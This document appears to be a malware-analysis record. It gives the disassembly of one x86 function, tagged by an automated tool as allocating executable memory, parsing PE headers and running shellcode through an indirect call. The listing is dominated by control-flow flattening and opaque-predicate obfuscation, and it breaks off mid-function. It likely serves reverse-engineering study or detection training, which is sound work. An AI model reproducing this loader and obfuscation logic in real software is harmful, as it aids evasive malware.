Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x46dc
call fcn.00479040
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, 0xadaf9196
mov esi, 0x6e875849
mov edi, 0x610489c
mov ebx, 0x860e0589
mov dword [ebp - 0xb0], eax
mov eax, dword [0x4ac09c]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x4ac084]
add ebx, 0
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb4]
sub ebx, eax
sub ebx, 0x860e0589
add edi, 0
sub edi, 0xe85dd291
sub edi, 0x610489c
mov eax, ecx
sub eax, ebx
mov ebx, ecx
sub ebx, edi
add eax, ebx
mov edi, ecx
sub edi, eax
add esi, 0
sub esi, edi
sub esi, 0x6e875849
add edx, 0
sub edx, 1
sub edx, 0xadaf9196
mov eax, ecx
sub eax, edx
sub esi, eax
sub esi, 0x6c1bf325
sub esi, 0x51d8de95
add esi, 0x6c1bf325
add esi, 0xbd935a8c
sub esi, 0xe85dd291
sub esi, 0xbd935a8c
mov eax, ecx
sub eax, esi
mov edx, ecx
sub edx, 0x51d8de95
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
imul eax, ecx
and eax, 1
cmp eax, 0
sete al
and al, 1
mov byte [ebp - 0xa2], al
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0xa
setl al
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0xa8], 0x55d35d8a
mov eax, dword [ebp - 0xa8]
mov ecx, eax
sub ecx, 0x8377ba56
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xc0], ecx
je 0x453253
jmp 0x401581
mov eax, dword [ebp - 0xbc]
sub eax, 0x840eb196
mov dword [ebp - 0xc4], eax
je 0x453a8f
jmp 0x40159d
mov eax, dword [ebp - 0xbc]
sub eax, 0x884182a6
mov dword [ebp - 0xc8], eax
je 0x4174eb
jmp 0x4015b9
mov eax, dword [ebp - 0xbc]
sub eax, 0x8a57f898
mov dword [ebp - 0xcc], eax
je 0x43bb81
jmp 0x4015d5
mov eax, dword [ebp - 0xbc]
sub eax, 0x8acb33a2
mov dword [ebp - 0xd0], eax
je 0x432d43
jmp 0x4015f1
mov eax, dword [ebp - 0xbc]
sub eax, 0x8beec55c
mov dword [ebp - 0xd4], eax
je 0x454913
jmp 0x40160d
mov eax, dword [ebp - 0xbc]
sub eax, 0x8ef2851b
mov dword [ebp - 0xd8], eax
je 0x426418
jmp 0x401629
mov eax, dword [ebp - 0xbc]
sub eax, 0x92063607
mov dword [ebp - 0xdc], eax
je 0x43570d
jmp 0x401645
mov eax, dword [ebp - 0xbc]
sub eax, 0x9378ef66
mov dword [ebp - 0xe0], eax
je 0x454597
jmp 0x401661
mov eax, dword [ebp - 0xbc]
sub eax, 0x93971aae
mov dword [ebp - 0xe4], eax
je 0x421c0d
jmp 0x40167d
mov eax, dword [ebp - 0xbc]
sub eax, 0x93ddfbb5
mov dword [ebp - 0xe8], eax
je 0x410dac
jmp 0x401699
mov eax, dword [ebp - 0xbc]
sub eax, 0x956ff41c
mov dword [ebp - 0xec], eax
je 0x45c690
jmp 0x4016b5
mov eax, dword [ebp - 0xbc]
sub eax, 0x9669d02c
mov dword [ebp - 0xf0], eax
je 0x40dc54
jmp 0x4016d1
mov eax, dword [ebp - 0xbc]
sub eax, 0x970cca3f
mov dword [ebp - 0xf4], eax
je 0x403e84
jmp 0x4016ed
mov eax, dword [ebp - 0xbc]
sub eax, 0x983c569a
mov dword [ebp - 0xf8], eax
je 0x4409dd
jmp 0x401709
mov eax, dword [ebp - 0xbc]
sub eax, 0x99d7baba
mov dword [ebp - 0xfc], eax
je 0x454764
jmp 0x401725
mov eax, dword [ebp - 0xbc]
sub eax, 0x9a25324c
mov dword [ebp - 0x100], eax
je 0x4465f8
jmp 0x401741
mov eax, dword [ebp - 0xbc]
sub eax, 0x9a58e026
mov dword [ebp - 0x104], eax
je 0x4548fb
jmp 0x40175d
mov eax, dword [ebp - 0xbc]
sub eax, 0x9a65174d
mov dword [ebp - 0x108], eax
je 0x42ac85
jmp 0x401779
mov eax, dword [ebp - 0xbc]
sub eax, 0x9acf4158
mov dword [ebp - 0x10c], eax
je 0x453248
jmp 0x401795
mov eax, dword [ebp - 0xbc]
sub eax, 0x9c0fc900
mov dword [ebp - 0x110], eax
je 0x4328f7
jmp 0x4017b1
mov eax, dword [ebp - 0xbc]
sub eax, 0x9ce9c999
mov dword [ebp - 0x114], eax
je 0x44e96e
jmp 0x4017cd
mov eax, dword [ebp - 0xbc]
sub eax, 0x9d05df66
mov dword [ebp - 0x118], eax
je 0x41db5a
jmp 0x4017e9
mov eax, dword [ebp - 0xbc]
sub eax, 0x9edf8f51
mov dword [ebp - 0x11c], eax
je 0x443529
jmp 0x401805
mov eax, dword [ebp - 0xbc]
sub eax, 0xa015badb
mov dword [ebp - 0x120], eax
je 0x450649
jmp 0x401821
mov eax, dword [ebp - 0xbc]
sub eax, 0xa47299a9
mov dword [ebp - 0x124], eax
je 0x42ffee
jmp 0x40183d
mov eax, dword [ebp - 0xbc]
sub eax, 0xa675d1bd
mov dword [ebp - 0x128], eax
je 0x420bce
jmp 0x401859
mov eax, dword [ebp - 0xbc]
sub eax, 0xa779c853
mov dword [ebp - 0x12c], eax
je 0x449b20
jmp 0x401875
mov eax, dword [ebp - 0xbc]
sub eax, 0xa7bfcc63
mov dword [ebp - 0x130], eax
je 0x45335c
jmp 0x401891
mov eax, dword [ebp - 0xbc]
sub eax, 0xa7f22cb9
mov dword [ebp - 0x134], eax
je 0x455f0f
jmp 0x4018ad
mov eax, dword [ebp - 0xbc]
sub eax, 0xa94793c8
mov dword [ebp - 0x138], eax
je 0x4451b3
jmp 0x4018c9
mov eax, dword [ebp - 0xbc]
sub eax, 0xaad1dff7
mov dword [ebp - 0x13c], eax
je 0x453a68
jmp 0x4018e5
mov eax, dword [ebp - 0xbc]
sub eax, 0xaaf10dc6
mov dword [ebp - 0x140], eax
je 0x455fa9
jmp 0x401901
mov eax, dword [ebp - 0xbc]
sub eax, 0xabab49db
mov dword [ebp - 0x144], eax
je 0x4208c3
jmp 0x40191d
mov eax, dword [ebp - 0xbc]
sub eax, 0xac3c10fc
mov dword [ebp - 0x148], eax
je 0x45c80b
jmp 0x401939
mov eax, dword [ebp - 0xbc]
sub eax, 0xacf36278
mov dword [ebp - 0x14c], eax
je 0x41391d
jmp 0x401955
mov eax, dword [ebp - 0xbc]
sub eax, 0xae42c5a7
mov dword [ebp - 0x150], eax
je 0x42d182
jmp 0x401971
mov eax, dword [ebp - 0xbc]
sub eax, 0xae9c854a
mov dword [ebp - 0x154], eax
je 0x4079de
jmp 0x40198d
mov eax, dword [ebp - 0xbc]
sub eax, 0xaebdb3eb
mov dword [ebp - 0x158], eax
je 0x45456e
jmp 0x4019a9
mov eax, dword [ebp - 0xbc]
sub eax, 0xaf450b56
mov dword [ebp - 0x15c], eax
je 0x453764
jmp 0x4019c5
mov eax, dword [ebp - 0xbc]
sub eax, 0xb05f091d
mov dword [ebp - 0x160], eax
je 0x4536de
jmp 0x4019e1
mov eax, dword [ebp - 0xbc]
sub eax, 0xb11fb6a1
mov dword [ebp - 0x164], eax
je 0x45c56a
jmp 0x4019fd
mov eax, dword [ebp - 0xbc]
sub eax, 0xb122e11c
mov dword [ebp - 0x168], eax
je 0x4356fe
jmp 0x401a19
mov eax, dword [ebp - 0xbc]
sub eax, 0xb2951f00
mov dword [ebp - 0x16c], eax
je 0x408832
jmp 0x401a35
mov eax, dword [ebp - 0xbc]
sub eax, 0xb3c3680b
mov dword [ebp - 0x170], eax
je 0x45c5ed
jmp 0x401a51
mov eax, dword [ebp - 0xbc]
sub eax, 0xb4610753
mov dword [ebp - 0x174], eax
je 0x4560e8
jmp 0x401a6d
mov eax, dword [ebp - 0xbc]
sub eax, 0xb4fec3ef
mov dword [ebp - 0x178], eax
je 0x426900
jmp 0x401a89
mov eax, dword [ebp - 0xbc]
sub eax, 0xbb302026
mov dword [ebp - 0x17c], eax
je 0x45c71c
jmp 0x401aa5
mov eax, dword [ebp - 0xbc]
sub eax, 0xbbb45f89
mov dword [ebp - 0x180], eax
je 0x4103e9
jmp 0x401ac1
mov eax, dword [ebp - 0xbc]
sub eax, 0xbe35d958
mov dword [ebp - 0x184], eax
je 0x453749
jmp 0x401add
mov eax, dword [ebp - 0xbc]
sub eax, 0xc048e75b
mov dword [ebp - 0x188], eax
je 0x406bc6
jmp 0x401af9
mov eax, dword [ebp - 0xbc]
sub eax, 0xc09ea285
mov dword [ebp - 0x18c], eax
je 0x447c5d
jmp 0x401b15
mov eax, dword [ebp - 0xbc]
sub eax, 0xc0c26c16
mov dword [ebp - 0x190], eax
je 0x433fa1
jmp 0x401b31
mov eax, dword [ebp - 0xbc]
sub eax, 0xc0ecabb7
mov dword [ebp - 0x194], eax
je 0x4509fd
jmp 0x401b4d
mov eax, dword [ebp - 0xbc]
sub eax, 0xc416a139
mov dword [ebp - 0x198], eax
je 0x45342a
jmp 0x401b69
mov eax, dword [ebp - 0xbc]
sub eax, 0xc4a719e4
mov dword [ebp - 0x19c], eax
je 0x4420b3
jmp 0x401b85
mov eax, dword [ebp - 0xbc]
sub eax, 0xc50fa9ca
mov dword [ebp - 0x1a0], eax
je 0x41c92c
jmp 0x401ba1
mov eax, dword [ebp - 0xbc]
sub eax, 0xc6726db0
mov dword [ebp - 0x1a4], eax
je 0x418602
jmp 0x401bbd
mov eax, dword [ebp - 0xbc]
sub eax, 0xc6c42ece
mov dword [ebp - 0x1a8], eax
je 0x4533a0
jmp 0x401bd9
mov eax, dword [ebp - 0xbc]
sub eax, 0xc6e6046a
mov dword [ebp - 0x1ac], eax
je 0x44f588
jmp 0x401bf5
mov eax, dword [ebp - 0xbc]
sub eax, 0xc872d73c
mov dword [ebp - 0x1b0], eax
je 0x45c678
jmp 0x401c11
mov eax, dword [ebp - 0xbc]
sub eax, 0xc94e3a38
mov dword [ebp - 0x1b4], eax
je 0x40776f
jmp 0x401c2d
mov eax, dword [ebp - 0xbc]
sub eax, 0xca8250de
mov dword [ebp - 0x1b8], eax
je 0x41365c
jmp 0x401c49
mov eax, dword [ebp - 0xbc]
sub eax, 0xcaf549bd
mov dword [ebp - 0x1bc], eax
je 0x445676
jmp 0x401c65
mov eax, dword [ebp - 0xbc]
sub eax, 0xcb402f1f
mov dword [ebp - 0x1c0], eax
je 0x406ba8
mov eax, 0x8377ba56
mov ecx, 0x60cbaf75
mov dl, 1
xor esi, esi
mov edi, 0xee1e8bb4
push eax
mov ebx, esp
mov dword [ebp - 0xa0], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x9c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x98], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x94], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x90], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x8c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x88], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x84], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x80], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x7c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x78], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x74], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x70], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x6c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x68], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x64], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x60], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x5c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x58], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x54], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x50], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x4c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x48], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x44], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x40], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x3c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x38], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x34], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x9c]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x9c]
mov ebx, dword [ebx]
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete dh
and dh, 1
mov byte [ebp - 0x2a], dh
mov eax, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x4c0], eax
sub eax, 0x9f98ed70
add eax, 0x5786a327
add eax, 0x9f98ed70
add eax, 0x9104ea93
add eax, 0xbd041cbe
sub eax, 0x9104ea93
sub eax, 0x760e3c33
sub eax, 0x5786a327
add eax, 0x760e3c33
add edi, 0
sub edi, 1
sub edi, 0xee1e8bb4
sub eax, 0x5a3f996a
add eax, edi
add eax, 0x5a3f996a
sub esi, 0xf8824a41
sub eax, esi
sub eax, 0x6e14355
sub eax, 0xbd041cbe
add eax, 0x6e14355
add eax, 0x4367cf97
sub eax, 0xf8824a41
sub eax, 0x4367cf97
mov esi, dword [ebp - 0x4c0]
imul esi, eax
and esi, 1
cmp esi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x4c1], al
and al, bh
mov byte [ebp - 0x4c2], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x4c3], al
mov al, byte [ebp - 0x4c2]
or bl, al
mov al, byte [ebp - 0x4c3]
or al, bh
xor bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, ah
and bh, bl
xor ah, bl
or bh, ah
mov ah, dl
xor ah, 1
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x4c4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4c5], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x4c6], al
mov al, byte [ebp - 0x4c5]
and al, 1
mov byte [ebp - 0x4c7], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x4c8], al
mov al, byte [ebp - 0x4c4]
mov dword [ebp - 0x4cc], ecx
mov cl, byte [ebp - 0x4c5]
and al, cl
mov ch, byte [ebp - 0x4c6]
mov cl, byte [ebp - 0x4c7]
or ch, cl
mov cl, byte [ebp - 0x4c8]
or cl, al
xor ch, cl
or ah, bl
xor ah, 0xff
mov al, byte [ebp - 0x4c5]
or al, 1
and ah, al
or ch, ah
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, bh
or ah, cl
xor al, ah
xor al, 0xff
xor ch, 0xff
mov cl, dl
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, byte [ebp - 0x4c1]
xor ah, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0x4c1]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x4c1]
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor dh, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 0
or dh, cl
or ch, 0
xor dh, 0xff
and dh, ch
mov cl, ah
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ah, bl
mov byte [ebp - 0x4cd], al
mov al, ch
and al, 0
and dh, bl
or bh, ah
or al, dh
xor bh, al
or cl, ch
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x4cd]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x4cd]
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0xff
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bh
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
mov dh, al
xor dh, ch
and dh, al
mov ch, byte [ebp - 0x4cd]
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x4ce], al
mov al, dl
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x4cf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x4d0], al
mov al, byte [ebp - 0x4cf]
or al, bl
mov bl, byte [ebp - 0x4d0]
or bl, 0
xor al, 0xff
and al, bl
xor bh, 0xff
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x4d1], al
mov al, dl
xor al, 0
or bh, bl
or al, 0
xor bh, 0xff
and bh, al
mov al, dh
and al, ch
xor dh, ch
or al, dh
mov ch, byte [ebp - 0x4d1]
and ch, bh
mov dh, byte [ebp - 0x4d1]
xor dh, bh
or ch, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, ch
xor bh, 0xff
and bh, 0xff
and ch, bl
or dh, al
or bh, ch
xor dh, bh
mov al, byte [ebp - 0x4ce]
and al, cl
mov ch, byte [ebp - 0x4ce]
xor ch, cl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
or cl, al
mov al, ah
and al, 1
xor ah, 1
or al, ah
xor cl, 0xff
xor al, 0xff
xor dl, 0
or cl, al
or dl, 0
xor cl, 0xff
and cl, dl
mov al, dh
and al, cl
xor dh, cl
or al, dh
test al, 1
mov esi, dword [ebp - 0x4bc]
mov edi, dword [ebp - 0x4cc]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xa7bfcc63
mov ecx, 0xc94e3a38
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x618], eax
mov eax, esi
sub eax, 0xcad1e849
sub eax, 1
add eax, 0xcad1e849
mov dword [ebp - 0x61c], eax
mov eax, esi
sub eax, 0x772e6252
mov dword [ebp - 0x620], ecx
mov ecx, dword [ebp - 0x61c]
add eax, ecx
add eax, 0x772e6252
sub esi, eax
add esi, 0
mov eax, edi
sub eax, 0x163e0fd2
sub eax, esi
add eax, 0x163e0fd2
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x621], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x622], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x623], al
mov al, byte [ebp - 0x622]
or al, cl
mov cl, byte [ebp - 0x623]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, byte [ebp - 0x621]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x621]
and ch, ah
or cl, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x621]
xor ch, ah
mov ah, byte [ebp - 0x621]
and ch, ah
mov bl, cl
xor bl, 0xff
mov bh, ch
xor bh, 0xff
mov ah, dl
xor ah, 0
mov byte [ebp - 0x624], al
mov al, bl
and al, 0
and cl, ah
mov byte [ebp - 0x625], al
mov al, bh
and al, 0
and ch, ah
mov byte [ebp - 0x626], al
mov al, byte [ebp - 0x625]
or al, cl
mov cl, byte [ebp - 0x626]
or cl, ch
xor al, cl
or bl, bh
xor bl, 0xff
or ah, 0
and bl, ah
or al, bl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, byte [ebp - 0x624]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bl, byte [ebp - 0x624]
and bl, ah
or cl, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x627], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
and bl, 0
or al, bl
mov bl, cl
xor bl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x628], al
mov al, dl
xor al, 1
mov byte [ebp - 0x629], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x62a], al
mov al, byte [ebp - 0x629]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x62b], al
mov al, byte [ebp - 0x629]
and ah, al
mov al, byte [ebp - 0x62a]
or al, cl
mov cl, byte [ebp - 0x62b]
or cl, ah
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x629]
or cl, 1
and bl, cl
or al, bl
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x628]
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x62c], al
mov al, bl
and al, 0
mov byte [ebp - 0x62d], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x62e], al
mov al, byte [ebp - 0x628]
and al, bl
mov byte [ebp - 0x62f], al
mov al, byte [ebp - 0x62d]
or bh, al
mov al, byte [ebp - 0x62e]
mov byte [ebp - 0x630], cl
mov cl, byte [ebp - 0x62f]
or al, cl
xor bh, al
mov al, byte [ebp - 0x630]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x62c]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x62c]
and ah, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or al, ah
or bl, cl
xor al, bl
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bl, ch
and bl, ah
or al, bl
mov ah, dh
xor ah, 0xff
mov bl, al
and bl, ah
xor al, 0xff
mov ah, dh
and ah, al
or bl, ah
xor bl, 0xff
xor dh, 0xff
mov al, dl
xor al, 1
or bl, dh
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov dh, ah
and dh, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or al, dh
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x627]
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x627]
and bh, dh
mov byte [ebp - 0x631], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x632], al
mov al, byte [ebp - 0x631]
and al, dh
or ah, bh
mov dh, byte [ebp - 0x632]
or dh, al
xor ah, dh
xor ah, 0xff
mov al, byte [ebp - 0x627]
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, ch
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, ch
and bh, dh
or al, bh
mov dh, byte [ebp - 0x621]
xor dh, 0xff
mov bh, al
and bh, dh
xor al, 0xff
mov dh, byte [ebp - 0x621]
and dh, al
or bh, dh
mov al, byte [ebp - 0x621]
xor al, 0xff
mov dh, bh
xor dh, al
and dh, bh
mov al, bl
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x633], al
mov al, bl
mov byte [ebp - 0x634], cl
mov cl, byte [ebp - 0x633]
and al, cl
xor bl, 0xff
mov cl, byte [ebp - 0x634]
and cl, bl
or al, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x635], al
mov al, dl
xor al, 1
mov byte [ebp - 0x636], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x637], al
mov al, byte [ebp - 0x636]
and bh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x638], al
mov al, byte [ebp - 0x635]
mov byte [ebp - 0x639], cl
mov cl, byte [ebp - 0x636]
and al, cl
mov cl, byte [ebp - 0x637]
or cl, bh
mov bh, byte [ebp - 0x638]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x639]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x636]
or bl, 1
and al, bl
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
mov byte [ebp - 0x63a], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x63b], al
mov al, byte [ebp - 0x63a]
or al, bh
mov bh, byte [ebp - 0x63b]
or bh, bl
xor al, bh
mov bl, dh
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x63c], al
mov al, dh
and al, bh
mov byte [ebp - 0x63d], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x63e], al
mov al, byte [ebp - 0x63d]
or bl, al
mov al, byte [ebp - 0x63e]
or al, bh
xor bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x63f], al
mov al, bh
and al, 1
mov byte [ebp - 0x640], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x641], al
mov al, byte [ebp - 0x63f]
mov byte [ebp - 0x642], cl
mov cl, byte [ebp - 0x640]
or al, cl
mov cl, byte [ebp - 0x641]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x63c]
xor cl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x643], al
mov al, dl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x643]
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, bl
xor al, 0xff
mov ah, dl
xor ah, 1
mov byte [ebp - 0x644], al
mov al, dl
xor al, 0
mov byte [ebp - 0x645], al
mov al, byte [ebp - 0x644]
or al, ah
mov ah, byte [ebp - 0x645]
or ah, 0
xor al, 0xff
and al, ah
mov ah, byte [ebp - 0x643]
xor ah, 0xff
mov byte [ebp - 0x646], al
mov al, dh
xor al, ah
and al, dh
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x647], al
mov al, dl
xor al, 0
mov byte [ebp - 0x648], al
mov al, ah
and al, 0
mov byte [ebp - 0x649], al
mov al, byte [ebp - 0x648]
and cl, al
mov al, dh
and al, 0
mov byte [ebp - 0x64a], al
mov al, byte [ebp - 0x648]
and bh, al
mov al, byte [ebp - 0x649]
or al, cl
mov cl, byte [ebp - 0x64a]
or cl, bh
xor al, cl
or ah, dh
xor ah, 0xff
mov cl, byte [ebp - 0x648]
or cl, 0
and ah, cl
or al, ah
mov cl, byte [ebp - 0x646]
xor cl, 0xff
mov ah, byte [ebp - 0x647]
xor ah, 0xff
mov dh, dl
xor dh, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x64b], al
mov al, byte [ebp - 0x646]
and al, dh
mov byte [ebp - 0x64c], al
mov al, ah
and al, 0
mov byte [ebp - 0x64d], al
mov al, byte [ebp - 0x647]
and al, dh
mov byte [ebp - 0x64e], al
mov al, byte [ebp - 0x64c]
or bh, al
mov al, byte [ebp - 0x64d]
mov byte [ebp - 0x64f], cl
mov cl, byte [ebp - 0x64e]
or al, cl
